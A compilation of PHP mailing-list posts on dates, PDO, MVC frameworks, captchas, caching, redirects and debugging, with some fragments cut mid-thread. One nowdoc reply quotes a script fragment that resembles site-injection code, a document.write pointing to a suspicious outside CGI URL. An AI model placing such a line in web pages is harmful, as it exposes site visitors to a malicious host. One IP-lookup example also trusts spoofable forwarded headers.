Re: [PHP] php.ini
Hi, Jim I suggest to read this page of the tutorial. It seems, that it solves the questions, you posted here: http://www.php.net/manual/en/configuration.file.per-user.php Please be aware, that the ini-file is not re-read on every request, but after a defined time. Neither are all settings changeable in those per-user ini-files. Read also the other pages in this chapter, they're good to keep in mind ;) If you're now calling the script from a webserver, you called by requesting a page on a subdomain or a top-level-domain, doesn't matter.

[PHP] Static methods vs. plain functions
Hi, I am working on an OOP project, and cannot decide which way to follow when I have to write a simple function. For example, I want to write a function which generates a random string. In an OOP environtment, it is a matter of course to create a static class and a static method for that. But why? Isn't it more elegant, if I implement such a simple thing as a plain function? Not to mention that a function is more efficient than a class method. So, in object-oriented programming, what is the best practice to implement such a simple function?
Re: [PHP] Re: Which function returns a correct ISO8601 date?
Hi, Alessandro
Would it be worth noting somewhere, that these two implementations of
ISO8601 differ? Because I needed the DateTime::ATOM way to save the
timezone ... Even so the other one was also about ISO 8601 ...
My system is working towards a search-engine called ElasticSearch.
This one makes use of a Java method to format a date. This one is
defined here:
http://joda-time.sourceforge.net/api-release/org/joda/time/format/ISODateTimeFormat.html#dateOptionalTimeParser%28%29
The definition for a time-offset is defined like this:
offset= 'Z' | (('+' | '-') HH [':' mm [':' ss [('.' | ',') SSS]]])
Is there a format, you know of, that makes this difference (colon or
not) bullet-prove?
Bye,
Simon

[PHP] Which function returns a correct ISO8601 date?
Hi, all
Some days ago, I needed a date, formatted as date("c") ...
To be a bit more object-oriented, I worked with an instance of
DateTime. My first thought was: "As the documenting for date() defines
'c' as ISO8601, I can take the constant provided in the DateTime
object ... right?" ... and that was wrong.
Here's a code-example:
date("c");
// 2013-09-07T12:40:25+00:00
date(DateTime::ISO8601);
// 2013-09-07T12:40:25+
-> Take special care to the notation of the timezone.
The method date("c") actually formats a date, fitting to the format
defined in the constant DateTime::ATOM.
Are both formats (with and without colon) valid for ISO8601, or is the
documentation for the method date() wrong?
Bye,
Simon

I’m guessing that it’s these two lines in .htaccess: AddType application/x-httpd-php .php .htm .html AddHandler x-httpd-php5-cgi .php .htm .html They’re changing the handler from PHP files from the default ones to x-httpd-php5-cgi, which would cause PHP 5.2 to be used instead.

[PHP] PDO Transaction
Hi, I have a trouble with PDO transactions. I would like to start using transactions, but I am not familiar with it. I have got a 'There is no active transaction' exception, however, I am using beginTransaction method, and also I have set PDO::ATTR_AUTOCOMMIT to false right after connecting to the database. In my whole code I have used the commit method only once. Between beginTransaction and commit methods, as far as I know, I did not use anything that could activate auto-commit. In my test code, there is only an exec method of PDO, and an execute of PDOStatement. Maybe one of these activated auto-commit? And what are the possible commands which are able to activate auto-commit? I know that the commit method can do that, but - as I already wrote - I have issued it only once, and it is in the destructor of a singleton class. So what could be the problem?
Re: [PHP] Holding "datetimes" in a DB.
Hi, Richard I, too, tought about switching to UTC times in my database. The only reason for me was to get prepared for globalisation. A good article about this consideration is written at PHP Gangsta (sorry, German only): http://www.phpgangsta.de/die-lieben-zeitzonen The reason, why I did not switch to UTC, was the reason, that most of the pages I host have visitors mostly from Germany. If you have visitors from different countries, you first have to find out which time-zone they're in, which can be quite messy. Just watch this video about timezones (I added a jump-node that get's you directly to the interesting stuff): http://www.youtube.com/watch?feature=player_detailpage&v=84aWtseb2-4#t=230s But basically that doesn't matter that much, since you - anyways - don't get a time from the client, so you're stuck in this problem either way ... Each example, I can come up with, does apply to UTC saved timestamps as well as to non-UTC based timestamps. One consideration, if you only have to operate in one timezone, like I do, is stuff like cron-jobs. Since I only have Germany as main-visitor-source, I can safely configure the server to Europe/Berlin and pull out stuff like birthday-information at midnight. Please do also keep in mind here, that there are not only full-hour-timezones :) http://en.wikipedia.org/wiki/List_of_UTC_time_offsets But I can't come up with a problem that you wouldn't have with a local timezone instead of UTC ...

You can, though you're never resetting the value of $b in the outer loop, so
the inner loop will only run once each time after the first run of the outer.

The only thing you have to worry about is quotes characters. Assuming you're
running 5.3+, just use now docs
(http://php.net/manual/en/language.types.string.php#language.types.string.syntax.nowdoc).
$String = <<<'STRING'
;document.write('http://nrwhuejbd.freewww.com/34e2b2349bdf29216e455cbc7b6491aa.cgi??8";>');

[PHP] Differentiate Line breaks and Paragraphs
Hi, Is there a way to make difference between line breaks and paragraphs, when I save a text to a database from a user input? The new line characters (\n, \r) are not too consequent to determine when did the user only one new line or more new lines. (Some clients make only \n or \r, some others make \n\r or \r\n, etc.) What I would like to do is, to format the given text into paragraphs (with tag), not just insert a batch of break line () tags. Of course, I want to retain tags as well, in case of the user wrote only one new line character.

That's expected, as per http://nz.php.net/unset:
"If a globalized variable is unset() inside of a function, only the local
variable is destroyed. The variable in the calling environment will retain the
same value as before unset() was called."

[PHP] Who is responsible for NFD or NFC formated UTF8 text? PHP, my application or the system-administrator?
Hi, all Yesterday I ran into a big issue I didn't know about before: There are many ways in UTF8 to save the same character. This applies to all characters that can be combined of other characters. An example for that is the German umlaut ö. In theory it can be saved simply as ö or it can be saved as o followed by ¨. I raised a question on stackoverflow on that and got tons of helpful information. http://stackoverflow.com/questions/12147410/different-utf-8-signature-for-same-diacritics-umlauts-2-binary-ways-to-write If you don't know what NFD, NFC and those are, take the time and read this article http://www.unicode.org/reports/tr15/ or at least take a view at the figures 3-6. As you read, I moved a page from a MacOSX Server to a Linux Server. During this movement the filenames got converted from NFD to NFC. Now my question is: Is this a common issue? What can I do to prevent it in the future? Who's responsible of taking care of that? I myself, Wordpress, the system I use, or I as the system-administrator moving the website? For example I don't know if Windows f.e. converts every filename to NFC, but MacOSX (using HFS+) forces filenames to be NFD compliant.

Re: [PHP] Crash course
Hi, Lester Just try to connect to your mysqlserver using a simple php script first. Example for MySqli: http://www.php.net/manual/en/mysqli.construct.php#example-1625 Example for MySql: http://www.php.net/manual/en/function.mysql-connect.php#refsect1-function.mysql-connect-examples If you still use MySql and not MySqli to connect to your MySql-Server: Please keep in mind, that this extension is about to die out. I just know of mysqli and mysql that you can chosse in the Joomla-Installation process ... PHP itself does also have PDO. There you have to check first if the pdo-driver for mysql is installed: http://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php And then try to connect to your server: http://de2.php.net/manual/en/pdo.construct.php#refsect1-pdo.construct-examples If you're using MySqli, please try a prepared-statement as well. http://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php I got access to a server where the administrator had mixed it up that hard, that mysqli as PHP-extension was installed and worked quite well excepted by the prepared-statement :D Bye Simon On Mon, Aug 20, 2012 at 12:51 PM, Lester Caine wrote: > > OK - MySQL is not an area I've had to bother with, but I'm trying to sort > out a tranche of websites that 1&1 messed up the DNS on last week and we > have take over support for.

[PHP] [PHP-DEV] Separate apc-caches for each fpm-pool
Hi, all Not to get the bugfix https://bugs.php.net/bug.php?id=57825 too much off-topic, I write this question in the mailinglist here: Taking the case I have two fpm-pools on different sockets - the first pool is responsible for www.example1.com and the second one for www.example2.com. If www.example1.com has 4 workers, they're all using the same apc-cache. That's absolutely as expected. But also the workers of www.example2.com are using this cache. In my opinion it would be nice if the pools would have a separate cache. I now found a solution for this: Just use more than one fpm-master that is controlling the pools. (http://groups.drupal.org/node/198168) Is this the way to go, or do you know of another way? Should this be added to the APC- or fpm-documentation or is it enough that you can find f.e. it using Google, if you need it?

Re: [PHP] OT (maybe not): Drupal vs WordPress
Hi, all +1 for that Joomla sucks ... worked with it for a while and just got more and more disappointed of the way they write stuff. Just look at how complicate it is to write an extension ... Just a bit off-toppic (since you're talking about WP vs Drupal), but I use Wordpress for small blogs and pages where I know that people don't have that much experience with creating webpages and so on and need very simple systems, and TYPO3 for more complex pages (multiple domains, multi language, complex submenus) because the system has it's own configuration-language (TypoScript) that this let you do so many things, way faster than writing it down in PHP. Another good bonus is that you can decide to hide each single checkbox, inputfield or even selections in a selectbox in the backend for an average person administrating the web-content. But because of the own configuration-language the learning-curve of TYPO3 is (in my opinion) the highest of all CMS-systems for developers. One thing I also really like at the TYPO3-philolsophy: If someone finds a security-issue he should immediately get in contact with the developers (of the extension and the TYPO3 security team) and discuss the issue with them. They decide how critical the bug is and will do a hard work to get the fix as soon as possible. If it is a very critical issue (someone could gain admin-access by something) they will send out an email that there will be a bugfix coming out at next-coming day at 9 o'clock GMT and everyone is advised to update his TYPO3-core or the extension. This is something I really like! To be prepared for some critical fix and knowing that (in a perfect case) no-one should have heard about that issue before who wants to hack my website :) Don't know if there's some similar security-policy in other communities than this :) Bye Simon On Sun, Aug 19, 2012 at 11:39 PM, Michael Shadle wrote: > > If you are going to use something like joomla, use Drupal.

RE: [PHP] Entry point of an MVC framework
I totally disagree with this! (more exclamation marks) ! (see) !!! (and some more) ! Learning how to put design patterns into practice in your chosen language is a great skill to have as a programmer. I personally use various frameworks, however the existence of them does not stop me wanting to build my own, learn my own way and face the problems of other framework designers and attempt to understand the problem and how it was solved. To me MVC is one of those and cracking it on your own is a great way to continue learning the language and all it has to offer. -Original Message- From: Daevid Vincent [mailto:dae...@daevid.com] Sent: 12 July 2012 22:44 To: php-general@lists.php.net Subject: RE: [PHP] Entry point of an MVC framework > -Original Message- > From: Simon Dániel [mailto:simondan...@gmail.com] > Sent: Thursday, July 12, 2012 1:21 PM > Subject: [PHP] Entry point of an MVC framework > > I have started to develop a simple MVC framework.

[PHP] Entry point of an MVC framework
Hi, I have started to develop a simple MVC framework. I have a base controller class which is abstract and all of the controllers are inherited from that. Every controller contains actions represented by methods. (E. g. there is a controller for managing product items in a webshop, and there are seperate actions for create, modify, remove, etc.) There is also a default action (usually an index page), which is used when nothing is requested. But what is the best way to invoke an action? I can't do it with the baseController constructor, becouse parent class can't see inherited classes. And I can't do it with the constructor of the inherited class, becouse this way I would overwrite the parent constructor. And as far as I know, it is not a good practice to call a method outside of the class, becouse the concept of operation of the class should be hidden from the other parts of the application. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] [PHP-DEV] SQLite - Unwanted values using group-by
Hi, All
May you have an idea ...
Here's the full code-example:
http://viper-7.com/M5mldG
I have the following SQL command:
SELECT max(r.month+r.year*100), r.year, r.month
FROM base b LEFT JOIN remote r ON b.id = r.remote_id
GROUP BY r.remote_id
Now I expect that the first column in the results should look like a
combination of the second and third one .. so f.e. this:
array(3) { ["max(r.month+r.year*100)"]=> string(6) "201201" ["year"]=>
string(4) "2012" ["month"]=> string(2) "01" }
But instead I get this result:
array(3) { ["max(r.month+r.year*100)"]=> string(6) "201201" ["year"]=>
string(4) "2011" ["month"]=> string(2) "12" }
I tested it on Windows7 (PHP 5.4.4, SQLiteLib v3.7.7.1), where I get the
result as shown above ... and I've also tested it on a fresh installation
on LinuxArch (PHP 5.4.4 and SQLiteLib v3.7.13) - where it works as
expected! A college of mine has tested it on OSX (PHP 5.3.7 and SQLiteLib
v3.7.13) and he gets the same result as I on the windows version.
Someone of you have an idea?
Maybe had the same problem before ... what could it be?
I thought it might a problem of the SQLite-lib but both, the LinuxArch and
the OSX system, have the same SQLite version - and both, the windows and
the LinuxArch version, have the same PHP-version.
Even if the example just uses PDO, I've also tested this using the native
SQLite3 lib and I got at least the same result on Windows. Haven't tested
the other systems with the native SQLite3 lib.
Bye
Simon

Re: [PHP] reload page without use header
Hi, Farzan
Redirecting is something you can do in a way the user doesn't see anything
(I call them server-side redirects) and in a way the user get's informed
that the url has changed (I call them client-side redirects).
What I mean with server-side (mostly called internal redirects) is if the
user requests a page, you can do stuff with mod_rewrite (in Apache) or some
equal webserver-module to call another file than requested. The user will
not get any notice about that.
Client-side redirects can be done using the HTTP-header (see
list-of-http-status<http://en.wikipedia.org/wiki/List_of_HTTP_status_codes#3xx_Redirection>),
JavaScript (please think also about a non-js solution) and by using a HTML-Meta
tag <http://en.wikipedia.org/wiki/Meta_refresh>.
In my opinion the best way to do a redirect, where the user gets noticed
about, is the HTTP-header. This can be set f.e by your webserver or by a
php-script.
Example for PHP-script:
header( "HTTP/1.1 301 Moved Permanently" );
header( "Location: http://www.new-url.com"; );
As far as I know, this is the only way to let other services (f.e. a
search-engine) know that this page has been moved permanently (or
temporarily) to another url.
That's the reason why I use the header-command (incl. setting the
HTTP-Status explicitly). If you don't set the HTTP-header, it will be added
(by PHP or your webserver). In my case, I use PHP 5.4 and nginx 1.2.1, the
header-code 302 is added if I don't set it.
May there are more ways to set redirects, but this are the one I know of.
Bye
Simon

Re: [PHP] Searching IDE.
Hi, There was a discussion about that on Google+ ... IDEs mentioned there: __Free * Eclipse PDT (5x) * Aptana - based on Eclipse but not using PDT for PHP (2x) * Netbeans (12x) * VIM (6x) * KDevelop (1x) * gedit (3x) __NonFree * Sublime Text 2 (6x) - USD $59 * PhpStorm (7x) - €94 personal, €189 commercial * Komodo (2x) - $382 * Zend Studio - also based on Eclipse (1x) - €299 Just by a rough view over the comments, not really reading any of those :) My personal opinion: * Eclipse PDT ** not used since 2008 ** was way to slow, specially the file-search ** missed some good PHP code support ... code-completion for classes and it's functions was quite limited at that time * Netbeans ** not used since 2009 ** seemed as the best free IDE for PHP to me * Zend Studio ** not used since 2008 ** seemed to be Eclipse PDT with some extensions .. * PhpStorm ** Costs a bit of money but it's really worth it. ** intelligent code-completion ** view class-structure as UML ** helper for refactoring ** supports changelists and has it's own stash ** just faster than Netbeans and Eclipse .. That's how I used this programs. Netbeans, Eclipse PDT and PhpStorm have way more features but this is what I used the time I tested them. I personally would use PhpStorm if you have money - else Netbeans.

Hi, Farzan I do not really get your point of confusion ...

Re: [PHP] [missing] images .htaccess
Hi, Muad I guess that you have a cms (would be nice to name it if it's not a custom one) that handles all requests coming into the system. Think now of How you know if the requested uri is a missing-image and write it down as mod_rewrite rule. Is this the only line you have in your .htaccess-script? What does the cms with the request if the file is available? Does the cms here just works like a proxy or is it doing some other magic? May it checks some permissions first before it ships the file? If you want to ungo passing requests for images to the cms, I'd do it like this: It checkes if the request is pointing to a directory where only images (or downloadable files) are located and lets apache do the rest to provide the file. Or check for file-endings ... RewriteRule \.(gif|jpg|jpeg|png)$ - [L] You can then guess that all files ending with .jpeg, .jpg, .gif, .png or similar are pictures, bypass the cms and let apache ship the file or apaches 404-page if not available. But this has nothing to do with PHP itself but is an apache-configuration.

Re: [PHP] requesting comments on rajmvServiceLog (access + error logging through PHP and JS to MySQL)
Hi, Rene I took a quick look over your code ... I kind-of like the idea having all logging at one place, but the code is a bit too messy if you ask me :) If you would have put it on github and I would fork it - the first thing I'd do is trying to get rid of the hm-lib and rewriting all in a bit more object-oriented style, but that's just personal taste ;) Specially the function rajmvServiceLog_graphs_raphael_calculateData() with a code of ca. 280 lines is quite long ... Additionally I think that setting an error-handler who's just returning false is not a good way. Why not disable error-handling or write code that produces no errors? I think it would be good to mention that you're using the library adodb ( http://adodb.sourceforge.net/) and sitewide_rv (is it that? http://mediabeez.ws/) or am I guessing wrong?

Don't hesitate to ask things about the configuration :) https://github.com/SimonSimCity/webserver-configuration For each program I have an init.sh script which will install the program exactly the way I use it. Feel free to fork it and add your stuff. If you're just looking for the xdebug-configuration: https://github.com/SimonSimCity/webserver-configuration/blob/master/php/conf/conf.d/xdebug.ini You might have to change it to use it on a windows-environment ... at least you'd have to move it into your php.ini file instead of an separate configuration-file as it is on Linux. As I am the only one developing on this machine, I've configured xdebug in that way, that anyone can open a xdebug-debug-session. This is done by enabling xdebug.remote_connect_back. Please do not use this on your live-server, but set an ip-limit using xdebug.remote_host! Please read this part of the xdebug-configuration to get a better understanding on how to set up a working environment (specially the part "Starting The Debugger"): http://xdebug.org/docs/remote The only problem I can report so far is, that I can't debug command-line scripts ...

The common debugger for php are Zend Debugger and xdebug. Nearly every IDE can be connected to them and if you set it up correctly you can browse through your side (using your favourite browser) and activate the debugger just by setting a cookie. For several browsers there are plugins that set the cookie by clicking an icon.

Hi, Ron
Another hint:
Maybe the other function (you want to call inside your first function)
is not defined at that time but in a file that's included later on ...

Hi, mirrys
Why not use the function filter_input()? This would be at least show
if the value is a valid ip-address.
function getIPadress() {
$params = array(
"HTTP_CLIENT_IP",
"HTTP_X_FORWARDED_FOR",
"HTTP_X_FORWARDED",
"HTTP_FORWARDED_FOR",
"HTTP_FORWARDED",
"REMOTE_ADDR"
);
foreach($params as $param) {
if ($val = filter_input(INPUT_SERVER, $param,
FILTER_VALIDATE_IP))
return $val;
}
return false;
}
This way you could even specify "I don't want ip's out of a private
range" and stuff like that ...
http://www.php.net/manual/en/filter.filters.validate.php
http://www.php.net/manual/en/function.filter-input.php
If no valid ip-address is found you'll get false here ... depends -
may you want to give "127.0.0.1" back then ;)

A call to date_default_timezone_set() during execution can change the timezone.
If you add echo date_default_timezone_get(); just before this, does it give the
same output as your date.timezone setting?

Smart. No, I want to store 50 - 200Mb. At some point in the somewhat distant future I can imagine larger amounts of shared storage between required.

It's as if even Microsoft themselves don't fully understand the advantages that application variables give them over the competition. (Though they're hardly likely to be forthcoming about helping others implement similar features). Here's some stuff I did find: http://www.codeproject.com/Articles/87316/A-walkthrough-to-Application-State#e This article explains basically how application variables work. It doesn't specifically mention passing by reference but it discusses thread safety at some length so you might infer that implies passing by reference. http://msdn.microsoft.com/en-us/library/ff650849.aspx Here is a more technical discussion about the singleton class is implemented in .NET. Application variables are provided by an instance of a singleton class (the HttpApplication class). http://stackoverflow.com/questions/1132373/do-asp-net-application-variables-pass-by-reference-or-value Stack overflow question from someone actually wanting to get a *copy* of an application variable rather than a reference. So, if you read enough of this stuff, you'll find out that a .NET website (an IIS application in MS parlance) runs in a multi-threaded single process. Application variables (and singleton classes) are shared by reference between all threads. It is possible to run an IIS application over multiple processes (to take advantage of multiple processors / server farms for example) but then the Application variables are not shared at all.

Thanks Simon. you got my hopes up there for a second.

Nothing Architecture like PHP where objects are unique >within the Request
only anyways.
I want the the singleton class to be global to the entire application (ie
shared "by reference" across all requests). I'd agree with the above
critics that if you have to instantiate your singleton for each request,
it's rather pointless.

Hi, Simon
Sorry for this out-of-context post - but just to answer to Simon's question:
One way of implementing Singleton in PHP is written down in the php-manual:
http://www.php.net/manual/en/language.oop5.patterns.php
I personally would also declare __clone() and __wakeup() as private,
but that's something personal :)
If you have many places where you'd like to use the Singleton-pattern
you may now think of having one class where you define the pattern
itself and extending other classes from that ... But that does not
seem the good way to me because this classes are not related at all,
in case of content.
Other frameworks are using interfaces but they have to write the code
for the implementation over and over again.
Here's where traids make the most sense to me:

[PHP] Could apc_fetch return a pointer to data in shared memory ?
Or: Why doesn't PHP have Applications variables like ASP.NET (and node.js) ? Hi, I'm working on optimising a php application (Drupal). The best optimisation I've found so far is to use APC to store various bits of Drupal data in RAM. The problem with this is that with Drupal requiring say 50Mb of data* per request is that lots of cpu cycles are wasted de-serialising data out of apc_fetch. Also 50Mb of data per http process !! is wasted by each one re-creating it's own copy of the shared data. If it were possible for apc_fetch (or similar function) to return a pointer to the data rather than a copy of the data this would enable incredible reduction in cpu and memory usage. This is essentially how ASP.NET Application variables and node.js work. I'm surprised PHP doesn't already have Application variables, given that they are so similar to Session Variables and that it's been around for a long time in ASP / ASP.NET. I just wondered if there was a reason for not having this functionality or if it's on a road map somewhere or I've missed something :) ?

Hi, Arno
FYI: I found a page in the php-manual that's exactly for that:

Hi, Arno
I don't know if this is written somewhere in the php-manual, but I
really like this table:
http://en.wikipedia.org/wiki/Order_of_operations#Programming_languages
I do not really understand why this has some special stuff to do with
typecasting ... This is just an order like the operators + and * in
math.
If you'd ask me, this is exactly what I would expect to happen.

Re: [PHP] including PHP code from another server..
Hi, Rene
I just want to say the same ... whatever you're trying to do here - it
will end up in a major security-isse that (I think) you won't fix that
soon as someone has hacked your server.
That sounds like you don't wanna pay 10$ per month for a good
multiple-domain-hosting solution.
If you're searching for something cheap for multi-domains, take a look
at providers like DreamHost or something similar.

You were always talking about a tool you used to test the gzip-compression ... but why not test it natively?

Hi, Lester
I suggest that all done with this variable before is not of interest ...
Assuming this, I'd say the following:
> $secondsGap[] = array($gap[0] * 60, $gap[1] * 60);
Implicit initializing of an array that has the following structure:
array( array(int, int) );
> if( isset($secondsGap[1]) ) {
Trying to get the second element .. which will never happen if you
haven't added an element before the snipped you pasted here.
>$gapName = $secondsGap[0]."to".$secondsGap[1];
> } else {
>$gapName = $secondsGap[0];
> }
[some-code]
I'm quite unsure what you want to do here. If you'd update the first
line as following it would always trigger the first condition:
$secondsGap = array($gap[0] * 60, $gap[1] * 60);

Re: [PHP] Function mktime() documentation question
Hi, All
To bring a work-around into this discussion I myself would not see it
as a good way to do it like that - even if the documentation provides
some information around that.
Here's what I have done in all new projects I worked with time-calculation:
@Tedd: Lets pick up your first example and work with the
DateTime-Object instead:
$date = new DateTime($year . '-' . $current_month . '-1');
$date->add( new DateInterval( 'P1M' ) ); // Add a period of 1 month to
the date-instance (haven't tried that with the 30th of Jan ... would
be kind-of interesting)
$days_in_current_month = $date->format('j'); // Get the date of the month
As this does not solve the problem (as we still should update the
documentation or the code if it does not match) it's not a solution,
but a suggestion to coding-style at all.
It seems a bit cleaner to me as you don't have to worry about the 13th
month, time-zones or other things that can be difficult to calculate
yourself.

Re: [PHP] How do I enable more useful PHP error logging?
Hi, Daevid What you could do to have it quick is to install the plugin xdebug. Here you can (as described in the documentation linked here) enable to get some extra information for a E_* message from php. http://xdebug.org/docs/stack_trace I would not do that on a live-system where you have 30k v/s without changing the default configuration as there are several options that would dramatically slow down the system. But if you're configuring this properly I think you'll get the best information without changing the php-code itself.

Re: [PHP] basic captcha
Hei, Ashley The php bugtracker himself uses just simple math. Others are made by clicking on the man's name in the picture (3 shaddows of people with names in there) ... But I myself dislike the visitor having extra-work. Therefore I'll stick to the honey-pot the referer check and so on. One check I think is quite effective is something google does for discovering spam-mail: Discover which language this mail is written in. If it does not seem to be a lanuage at all its most likely spam ;) But I think that's not possible for not-so-big websites .. Anyways: most likely it's just about filtering the 99% spam and get all user-mails through. Nothing is more annoying as when you (as user) get the feedback "*Go away! You're a bot.*" ;) Bye Simon 2012/2/17 Ashley Sheridan > > > Simon Schick wrote: > > >Hi, all > > > >When you ask for a captcha, I'd first ask what do you want to use it > >for. > >If you read the first lines of Wikipedia it has been developed to > >differ > >between a real user and a bot. > > > >If you'd now say that you want to use it to protect spam in a formula > >I'd > >give you the same explanation that you can find here in german (in a > >bit > >more text): http://www.1ngo.de/web/captcha-spam.html > >The author of this link says that captchas are not efficient enough and > >give a new unnecessary barrier to all users.

Re: [PHP] pathinfo or other
Hi, All I do not remember where I found the list of variables that are provided if you load PHP using Apache, nginx, IIS ... Fact is that there's a list of variables in the CGI 1.1 definition that should be given to a cgi script: http://tools.ietf.org/html/rfc3875#section-4 PATH_INFO is on the list and therewith should at least be given to every cgi-script. As not all web-server are fully compatible to the definition or do not support cgi 1.1 there are quite much posts where you find work-arounds for misconfiguration web-servers. I know about nginx that you have to add a special configuration to get the path_info - but the example provided at the developers-page sometimes returns a wrong value. See: http://stackoverflow.com/questions/8265941/empty-value-to-path-info-in-nginx-returns-junk-value/ Maybe there are also some other known issues around this PATH_INFO ... Here's a request for a portable way to receive the path-info even if it's not provided by the web-server: http://stackoverflow.com/questions/1884041/portable-and-safe-way-to-get-path-info I've always tried to use something like mod_rewrite and manage all incoming requests in an own dispatcher. That helped me a lot getting around this problems. Hope that this gives you more detailed information in what you need.

Re: [PHP] basic captcha
Hi, all When you ask for a captcha, I'd first ask what do you want to use it for. If you read the first lines of Wikipedia it has been developed to differ between a real user and a bot. If you'd now say that you want to use it to protect spam in a formula I'd give you the same explanation that you can find here in german (in a bit more text): http://www.1ngo.de/web/captcha-spam.html The author of this link says that captchas are not efficient enough and give a new unnecessary barrier to all users. He also declaims that bots nowadays are better than ever and can even read captchas that many humans are not able to read. For this reason he provides a list of extra stuff that you can use to protect your formula against spam instead of a picture that's text should be written in an input-field. One of those is the honey-pot. You simply create an additional field (f.e. * email2*) hide it for most visitors (using *css*) and ignore the comment if there's text in here. As most of the bots cannot read css they'll fill a valid email-address in here :) But then you also have to think about users that have css disabled f.e. *ScreenReader*. Another disadvantage of this issue is that you can use an auto-field-fill mechanism provided by the browser who could fill this field ... But both cases should not be that difficult. For the screenreder you can change the label for the field to look like *Do not paste your email in here. Just leave it empty.* Just to have the word email again in here ;) Another good thing is to think about how fast this form can be submitted when the user enters the formula for the first time. Also think about the second time, when the user as entered some wrong values and you have to show him a message. If you have a formula that contains more than 5 fields it's quite unusual that the user can submit that below 2 sec after receiving the response. You could even add a feature by using javascript that the user cannot submit this form or his request will be delayed for a view seconds (one or two). If you want to know more about that, out there are plenty of plugins for different systems where you can see what other possibilities you have. One extension i like is the one from TYPO3. They have quite a bunch of such things and you can give each of the checks a value. If the sum of the values of the failing tests reaches a configured level, this form-submission will be rejected. http://typo3.org/extensions/repository/view/wt_spamshield/current/ Wordpress: http://antispambee.de/ Bye Simon 2012/2/17 Savetheinternet > On Fri, Feb 17, 2012 at 3:40 PM, Donovan Brooke wrote: > > Hello, > > > > Does anyone know of a basic (open source or freeware) form captcha system > > for PHP? > > > > TIA, > > Donovan > > > > > > > > > > -- > > D Brooke > > > > Hi, > > There are plenty of free PHP captcha scripts out there.

Re: [PHP] Swiftlet is quite possibly the smallest MVC framework you'll ever use.
Hi, Elbert I personally would remove the set_error_handler completely. This is a configuration that the administrator has to handle himself. In a development-env they want to see all errors, warnings etc, yes - even a strict_notice. But in a production-env they dont want to show anything to the user - just show a general error if something really heavy happened. You can put that in the index.php but I'd wrap it in comments or remove it. In my opinion it's a good idea to move the autoloader into the index.php. Then you can even call your app class using the autoloader ;) I'm just curious what exactly you want to try with the plugins ... Should they simply be extensions or also possibilities to extend other plugins? I also wrote my own framework 3 years ago and was more about making things way more complex than they could be just to think about maximum flexibility .. I pretty much also like the no-config part. http://en.wikipedia.org/wiki/Convention_over_configuration Bye Simon 2012/2/12 Elbert F > Hi Simon, > > I think you're right that I may be abusing the constructor a bit.

Re: [PHP] Swiftlet is quite possibly the smallest MVC framework you'll ever use.
Hi, Paul I personally pretty much like the idea of auto-loaders, but that's a personal point of view. If you have always develop with scripts having autoloaders you'll hate to write a *require_once* command at the beginning of all files. And what would a dependency-injection-container be without an autoloader ;) http://www.slideshare.net/fabpot/dependency-injection-with-php-53 If you write your code in OOP you should always have unique class-names. If you follow this and use a good naming-convention both ways should be usable. I prefer to use autoloaders, you maybe not and that makes code so personalized ;) *like-it* Bye Simon 2012/2/13 Benjamin Hawkes-Lewis > On Sun, Feb 12, 2012 at 11:36 PM, Paul M Foster > wrote: > > The more I've thought about it since then, the more I've considered it a > > Good Thing(tm).

Re: [PHP] Swiftlet is quite possibly the smallest MVC framework you'll ever use.
Hi, Elbert I've looked through the code and found it quite tiny. I like that. Until now I found some things that I'd like to discuss with you: In the class App you're doing all the stuff (routing, calling the constructor aso) in the constructor. Would it not be better to have separate functions for that? I like the way I learned from using Java: The constructor is only for initializing the variables you need to execute the other functions of this class. Of course you can have a function that then calls all those small functions and maybe directly return the output. I dislike the way you treat with the model .. currently it gets the controller, the view and the app itself. If you ask me the model only needs some configuration. I cannot come up with an idea where you'd need more than a connection-string and some additional settings. The model has several methods to gather the data that has been requested and gives it back. If you'd ask me, there's no need for interaction with the app, controller or view. I'd like to see an option for the router like the one I've seen in symfony2 ... that was quite nice .. There you can define a regexp that should match the called url, some variables that should be extracted from that and some default-variables. It's quite hard to explain in the short term, but take a look at their documentation: http://symfony.com/doc/current/book/routing.html I'd like you to create a small workflow what your framework is doing in which order. Your framework to me looks like this image: http://imageshack.us/f/52/mvcoriginal.png/ But I'd rethink if this structure would give you more flexibility: http://betterexplained.com/wp-content/uploads/rails/mvc-rails.png I hope you got some input here you can work with.

Exceptions have a lot of overhead and should only be used in exceptional circumstances. I don't see how data validation failing is an exceptional circumstance. I find that using Exceptions and try/catch for something this trivial to be more confusing and harder to read (thus worse code) than a goto.

String comparisons (which is what is happening here) are done left to right. so
it's comparing month, then day, then year. You could use a Ymd format or just
compare the values of strtotime().

You need to pass a second and third array to array_map() with the same number
of elements as the first array. The arguments to the callback function are the
elements from each array at the same offset.
Something like $clean = array_map('mb_convert_encoding', $dirty_arr,
array_fill(0, count($dirty_arr), 'utf-16'), array_fill(0, count($dirty_arr),
'utf-8'));

You saved action.php as a RTF file rather than a plain text file. Resave it as

Assuming you did $move_uploaded_file = move_uploaded_file($filename, $destination);, then isset($move_uploaded_file) will always be true. isset() just checks if the variable you past to it is set, not if it has a non-false value.

It follows similar conversions when changing from a data type that allows more data to one that allows less. Similar things happen when converting from a floating point to integral value.

file_put_contents() doesn't throw exceptions. As the note on the exception
documentation says: "Internal PHP functions mainly use Error reporting, only
modern Object oriented extensions use exceptions."
If you look at the documentation for its return value
(http://php.net/file_put_contents), you'll see that false is returned on
failure.
In this case, a warning makes more sense than throwing an exception anyway. A
warning can be ignored, either by changing the error_reporting level or using
the error control operator, whereas an exception must be dealt with or
execution halts.

I'm assuming it has to do with the value, if not an array or object, being cast
as an array. Thus, non-false equivalent values get cast into an array of size 1:
int(1)
}
array(0) {
}

In both cases, $v is equivalent to false, so is_string(NULL) = false == NULL ==
$v, likewise for is_null($v);
You're most likely after switch(true) { … } rather than switch($v)

On further inspection, that's not the problem at all. The problem's around assign_children($pid,$list,&$new); The previous line you defined $new with $new = $leaf[$pid], *copying* that node into $new. Thus the assign_children() call updates $new, but not $lead[$pid]. You can fix this by either assigning $new by reference ($new =& $leaf[$pid]) or by passing a reference to $lead[$pid] to assign_children instead of $new. --- Simon Welsh Admin of http://simon.geek.nz/ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
